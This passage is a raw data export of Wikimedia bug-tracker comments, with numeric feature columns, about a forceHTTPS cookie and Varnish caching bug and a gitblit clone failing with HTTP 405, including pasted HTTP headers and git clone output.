Unless, of course, Chris or someone wants to backport it (which would probably happen then on Monday).",,,1380298508,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-92,True,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,2.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,5.0,20.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8852459016393444,0.8360655737704918,"Marking this fixed, since the patch is merged. It looks like this just missed being included in 1.22wmf19, so it should go out to WMF wikis with 1.22wmf20. See URL for the schedule.

Unless, of course, Chris or someone wants to backport it (which would probably happen then on Monday)."
260185,forceHTTPS session cookie placed even with HTTPS opt-out set,"Change 86101 merged by jenkins-bot:
Explicitly clear forceHTTPS cookie when insecure

https://gerrit.wikimedia.org/r/86101",,,1380233997,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,5.117647058823529,1.0,"Change 86101 merged by jenkins-bot:
Explicitly clear forceHTTPS cookie when insecure

GERRIT_URL"
260180,forceHTTPS session cookie placed even with HTTPS opt-out set,"Change 86101 had a related patch set uploaded by Anomie:
Explicitly clear forceHTTPS cookie when insecure

https://gerrit.wikimedia.org/r/86101",,,1380205862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,20.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.15,1.0,"Change 86101 had a related patch set uploaded by Anomie:
Explicitly clear forceHTTPS cookie when insecure

GERRIT_URL"
260177,forceHTTPS session cookie placed even with HTTPS opt-out set,"I wonder if this is covered by anomie's https://gerrit.wikimedia.org/r/#/c/85776/ . Or not.

For the records: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574592983#Forced_secure_connection...again...
https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574592983#http_login_issue",,,1380197962,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,27.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9545454545454546,0.8636363636363636,"I wonder if this is covered by anomie's URL . Or not.

For the records: URL
URL"
56513,Visiting an http address when logged in via https triggers Central Login notification?,"Copying from https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574338454#Log-in.2FLog-out.2C_Skins_problem though this seems to cover two aspects:

Upper right corner: Cologne Blue skin not showing, notice appears ""CENTRAL LOGIN. You are centrally logged in as Carrite. Reload the page to apply your user settings."" Which doesn't work. Log-out fails. Ridiculous.  24.20.128.148

  When I get this message, I wait a few seconds then hard-refresh the page 
  (it's Ctrl+F5 in Firefox). That usually fixes it. —Redrose64

    I believe loading any page would apply settings, not just reloading 
    the previous one, but I may be wrong. —πr2 

      Small guess, the JS that does the login redressing only works for 
      Vector and Monobook. And it seems there is a problem that every time 
      you visit a http address while logged in over https, you get the 
      'central login, you are centrally logged in as' notification for 
      every page view. I'm seeing this as well right now. —TheDJ

--------------------------
**Version**: master
**Severity**: normal",High,80.0,1380040020,1382649797.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-f6e3gt22f74enu5oipj3,task_description,resolved,True,c3,1,True,False,True,-93,True,1.6666666666666667,0.0,0.0,0.6666666666666666,1.0,3.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.3333333333333333,5.666666666666667,6.333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,6.666666666666667,1.6666666666666667,1.0,0.0,2.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,12.666666666666666,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.6666666666666667,11.0,1.6666666666666667,1.0,6.666666666666667,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,5.0,6.333333333333333,4.0,0.0,1.6666666666666667,0.0,5.0,0.0,1.0,1.3333333333333333,0.0,2.0,0.0,0.0,0.0,3.92897384305835,0.7873239436619718,"Copying from URL though this seems to cover two aspects:

Upper right corner: Cologne Blue skin not showing, notice appears ""CENTRAL LOGIN. You are centrally logged in as Carrite. Reload the page to apply your user settings."" Which doesn't work. Log-out fails. Ridiculous.  24.20.128.148

  When I get this message, I wait a few seconds then hard-refresh the page 
  (it's Ctrl+F5 in Firefox). That usually fixes it. —Redrose64

    I believe loading any page would apply settings, not just reloading 
    the previous one, but I may be wrong. —πr2 

      Small guess, the JS that does the login redressing only works for 
      Vector and Monobook. And it seems there is a problem that every time 
      you visit a http address while logged in over https, you get the 
      'central login, you are centrally logged in as' notification for 
      every page view. I'm seeing this as well right now. —TheDJ

--------------------------
**Version**: master
**Severity**: normal"
258756,Visiting an http address when logged in via https triggers Central Login notification?,"I confirmed with mark that Varnish is handling all non wikipedia (and non ipv6/https) traffic, and I haven't seen anyone complaining about this issue again. So I think the varnish change successfully prevents the issue. Please reopen if anyone sees this happening again.",,,1382649797,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-88,True,2.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,10.0,8.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,12.0,4.0,4.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,8.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.384615384615385,0.7884615384615384,"I confirmed with mark that Varnish is handling all non wikipedia (and non ipv6/https) traffic, and I haven't seen anyone complaining about this issue again. So I think the varnish change successfully prevents the issue. Please reopen if anyone sees this happening again."
258753,Visiting an http address when logged in via https triggers Central Login notification?,That is my understanding of it.,,,1380308192,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,That is my understanding of it.
258748,Visiting an http address when logged in via https triggers Central Login notification?,"Varnish ignores XVO, so the solution is to try to reproduce XVO in static Varnish configuration? So does that mean it's also ignoring other cookies specified in XVO, such as metawikiLoggedOut, centralauth_LoggedOut, mf_useformat, and stopMobileRedirect that are in the header quoted in comment 2?",,,1380300562,,PHID-USER-uqcn2l4ng4murmyfnvyp,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,13.0,12.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.865384615384615,0.7307692307692307,"Varnish ignores XVO, so the solution is to try to reproduce XVO in static Varnish configuration? So does that mean it's also ignoring other cookies specified in XVO, such as metawikiLoggedOut, centralauth_LoggedOut, mf_useformat, and stopMobileRedirect that are in the header quoted in comment 2?"
258742,Visiting an http address when logged in via https triggers Central Login notification?,"I talked with Mark about this. Since varnish ignores XVO, we need a specific VCL rule for varying on forceHTTPS.

Mark added https://gerrit.wikimedia.org/r/#/c/86268/1 to do that.",,,1380299492,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,19.0,16.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7419354838709675,0.9032258064516129,"I talked with Mark about this. Since varnish ignores XVO, we need a specific VCL rule for varying on forceHTTPS.

Mark added URL to do that."
258738,Visiting an http address when logged in via https triggers Central Login notification?,"Actaully, it looks like MobileFrontend has already setting forceHTTPS in the XVO list. So it seems like Varnish isn't respecting that?",,,1380151449,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,12.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.56,0.92,"Actaully, it looks like MobileFrontend has already setting forceHTTPS in the XVO list. So it seems like Varnish isn't respecting that?"
258734,Visiting an http address when logged in via https triggers Central Login notification?,"Change 86044 merged by jenkins-bot:
Vary on forceHTTPS cookie

https://gerrit.wikimedia.org/r/86044",,,1380151327,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 86044 merged by jenkins-bot:
Vary on forceHTTPS cookie

GERRIT_URL"
258731,Visiting an http address when logged in via https triggers Central Login notification?,"Change 86044 had a related patch set uploaded by CSteipp:
Vary on forceHTTPS cookie

https://gerrit.wikimedia.org/r/86044",,,1380149023,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,1.0,"Change 86044 had a related patch set uploaded by CSteipp:
Vary on forceHTTPS cookie

GERRIT_URL"
258726,Visiting an http address when logged in via https triggers Central Login notification?,"I just hit this bug myself. I was logged in via HTTPS, but every time I go to http://meta.wikimedia.org/ it leaves me on the HTTP site and logs me in via Central login.

I have both the metawikiforceHTTPS and forceHTTPS cookies set to true.

Here are all the headers from the Request and Response:

Response Headers
Accept-Ranges	bytes
Age	30292
Cache-Control	private, s-maxage=0, max-age=0, must-revalidate
Connection	keep-alive
Content-Encoding	gzip
Content-Language	en
Content-Length	16558
Content-Type	text/html; charset=UTF-8
Date	Wed, 25 Sep 2013 22:24:33 GMT
Last-Modified	Wed, 25 Sep 2013 13:59:37 GMT
Server	Apache
Vary	Accept-Encoding,Cookie
Via	1.1 varnish, 1.1 varnish
X-Cache	cp1054 hit (15), cp1068 frontend hit (2123)
X-Content-Type-Options	nosniff
X-Powered-By	PHP/5.3.10-1ubuntu3.6+wmf1
X-Varnish	2043118996 3533212360, 1488879432 1469275617
X-Vary-Options	Accept-Encoding;list-contains=gzip,Cookie;string-contains=metawikiToken;string-contains=metawikiLoggedOut;string-contains=metawikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect;string-contains=forceHTTPS

Request Headers
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding	gzip, deflate
Accept-Language	en-US,en;q=0.5
Cache-Control	no-cache
Connection	keep-alive
Cookie	metawikiforceHTTPS=1; forceHTTPS=1; stopMobileRedirect=true; centralnotice_bucket=0-4.2; mediaWiki.user.sessionId=ox79ZiUXx2F4mdQgHKLUS2NBGB34Iut6; uls-previous-languages=%5B%22en%22%5D; optin=beta
Host	meta.wikimedia.org
Pragma	no-cache
User-Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0",,,1380148436,,PHID-USER-a5pveeqqwaddgfjiv2fq,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,False,,,-93,True,0.5,0.0,0.0,0.25,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,2.0,0.5,2.5,0.0,0.0,0.25,0.0,0.0,0.75,0.25,0.0,0.0,0.0,0.0,0.75,2.75,1.5,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.25,0.0,0.25,0.0,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,21.75,0.0,1.25,2.25,0.0,0.0,0.0,0.0,1.0,0.0,5.75,0.0,2.0,2.5,20.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.75,0.75,0.0,0.0,0.5,4.309602463605823,0.562010078387458,"I just hit this bug myself. I was logged in via HTTPS, but every time I go to URL it leaves me on the HTTP site and logs me in via Central login.

I have both the metawikiforceHTTPS and forceHTTPS cookies set to true.

Here are all the headers from the Request and Response:

Response Headers
Accept-Ranges	bytes
Age	30292
Cache-Control	private, s-maxage=0, max-age=0, must-revalidate
Connection	keep-alive
Content-Encoding	gzip
Content-Language	en
Content-Length	16558
Content-Type	text/html; charset=UTF-8
Date	Wed, 25 Sep 2013 22:24:33 GMT
Last-Modified	Wed, 25 Sep 2013 13:59:37 GMT
Server	Apache
Vary	Accept-Encoding,Cookie
Via	1.1 varnish, 1.1 varnish
X-Cache	cp1054 hit (15), cp1068 frontend hit (2123)
X-Content-Type-Options	nosniff
X-Powered-By	PHP/5.3.10-1ubuntu3.6+wmf1
X-Varnish	2043118996 3533212360, 1488879432 1469275617
X-Vary-Options	Accept-Encoding;list-contains=gzip,Cookie;string-contains=metawikiToken;string-contains=metawikiLoggedOut;string-contains=metawikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect;string-contains=forceHTTPS

Request Headers
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding	gzip, deflate
Accept-Language	en-US,en;q=0.5
Cache-Control	no-cache
Connection	keep-alive
Cookie	metawikiforceHTTPS=1; forceHTTPS=1; stopMobileRedirect=true; centralnotice_bucket=0-4.2; mediaWiki.user.sessionId=ox79ZiUXx2F4mdQgHKLUS2NBGB34Iut6; uls-previous-languages=%5B%22en%22%5D; optin=beta
Host	meta.wikimedia.org
Pragma	no-cache
User-Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0"
258720,Visiting an http address when logged in via https triggers Central Login notification?,"What it sounds like is happening is that the login cookies are being set as secure, but the forceHTTPS cookie isn't being set so reloading doesn't result in a redirect to https.

I suspect this may have been fixed with Gerrit change 85776, which will be deployed along with 1.22wmf19 (see https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for the schedule). Unless Chris is going to include it with his CentralAuth deploy later today, in which case it might go out sooner.",,,1380120197,,PHID-USER-uqcn2l4ng4murmyfnvyp,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,6.0,2.0,1.0,1.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,10.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,10.0,8.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,6.0,15.0,5.0,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,2.0,1.0,0.0,0.0,4.045977011494253,0.7816091954022989,"What it sounds like is happening is that the login cookies are being set as secure, but the forceHTTPS cookie isn't being set so reloading doesn't result in a redirect to https.

I suspect this may have been fixed with Gerrit change 85776, which will be deployed along with 1.22wmf19 (see URL for the schedule). Unless Chris is going to include it with his CentralAuth deploy later today, in which case it might go out sooner."
56417,First clone for a repository from gitblit fails with HTTP 405,"This is weird, but reproducible.  The *first* time you try to clone a repository in a directory with:

git clone https://git.wikimedia.org/git/mediawiki/extensions/SomeExtension.git

it fails with:

Cloning into 'SomeExtension'...
error: RPC failed; result=22, HTTP code = 405
fatal: The remote end hung up unexpectedly

The second time, it succeeds.  I've reproduced it with multiple extensions (e.g. UploadWizard) on both Labs and my own machine.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: aklapper-moreinfo",High,80.0,1379750640,1395435134.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-clkereghqucvvv2xs4zj,task_description,resolved,True,c3,1,True,False,True,-93,True,0.0,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.5,0.0,1.5,4.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,10.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,10.0,0.0,1.5,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,4.5,4.5,5.5,0.0,1.0,0.0,4.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.665819209039548,0.7306497175141242,"This is weird, but reproducible.  The *first* time you try to clone a repository in a directory with:

git clone URL

it fails with:

Cloning into 'SomeExtension'...
error: RPC failed; result=22, HTTP code = 405
fatal: The remote end hung up unexpectedly

The second time, it succeeds.  I've reproduced it with multiple extensions (e.g. UploadWizard) on both Labs and my own machine.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: aklapper-moreinfo"
252807,First clone for a repository from gitblit fails with HTTP 405,"Seems to be fixed.  I tested with one I'm pretty sure has never been on my machine, and it worked on the first try for me too.",,,1395435134,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,True,,,-67,True,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,9.0,16.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.125,0.90625,"Seems to be fixed.  I tested with one I'm pretty sure has never been on my machine, and it worked on the first try for me too."
252800,First clone for a repository from gitblit fails with HTTP 405,"(In reply to Matthew Flaschen from comment #0)
> The *first* time you try to clone a repository in a directory with:
> git clone
> https://git.wikimedia.org/git/mediawiki/extensions/SomeExtension.git
> it fails with:
> 
> Cloning into 'SomeExtension'...
> error: RPC failed; result=22, HTTP code = 405
> fatal: The remote end hung up unexpectedly

Tried in a separate local tmp directory and had no problems.
Does anybody still see this problem? (Or: What am I doing wrong?)

$:andre\> git clone https://git.wikimedia.org/git/mediawiki/extensions/AbuseFilter.gitCloning into 'AbuseFilter'...
remote: Counting objects: 1022, done
remote: Finding sources: 100% (897/897)
remote: Getting sizes: 100% (618/618)
remote: Compressing objects:  99% (667197/667198)
remote: Total 8858 (delta 32), reused 7967 (delta 0)
Receiving objects: 100% (8858/8858), 22.07 MiB | 1.19 MiB/s, done.
Resolving deltas: 100% (5990/5990), done.
Checking connectivity... done.
$:andre\> git clone https://git.wikimedia.org/git/mediawiki/extensions/UploadWizard.git
Cloning into 'UploadWizard'...
remote: Counting objects: 1528, done
remote: Finding sources: 100% (1424/1424)
remote: Getting sizes: 100% (1061/1061)
remote: Compressing objects:  99% (678617/678618)
remote: Total 10560 (delta 92), reused 9136 (delta 0)
Receiving objects: 100% (10560/10560), 32.83 MiB | 1.19 MiB/s, done.
Resolving deltas: 100% (7141/7141), done.
Checking connectivity... done.
$:andre\>",,,1394717567,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.333333333333332,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,13.666666666666666,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,11.333333333333334,0.0,0.3333333333333333,2.0,8.0,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,3.0,0.0,0.0,2.0,3.3017543859649123,0.5508771929824562,"(In reply to Matthew Flaschen from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Tried in a separate local tmp directory and had no problems.
Does anybody still see this problem? (Or: What am I doing wrong?)

$:andre\> git clone URL into 'AbuseFilter'...
remote: Counting objects: 1022, done
remote: Finding sources: 100% (897/897)
remote: Getting sizes: 100% (618/618)
remote: Compressing objects:  99% (667197/667198)
remote: Total 8858 (delta 32), reused 7967 (delta 0)
Receiving objects: 100% (8858/8858), 22.07 MiB | 1.19 MiB/s, done.
Resolving deltas: 100% (5990/5990), done.
Checking connectivity... done.
$:andre\> git clone URL
Cloning into 'UploadWizard'...
remote: Counting objects: 1528, done
remote: Finding sources: 100% (1424/1424)
remote: Getting sizes: 100% (1061/1061)
remote: Compressing objects:  99% (678617/678618)
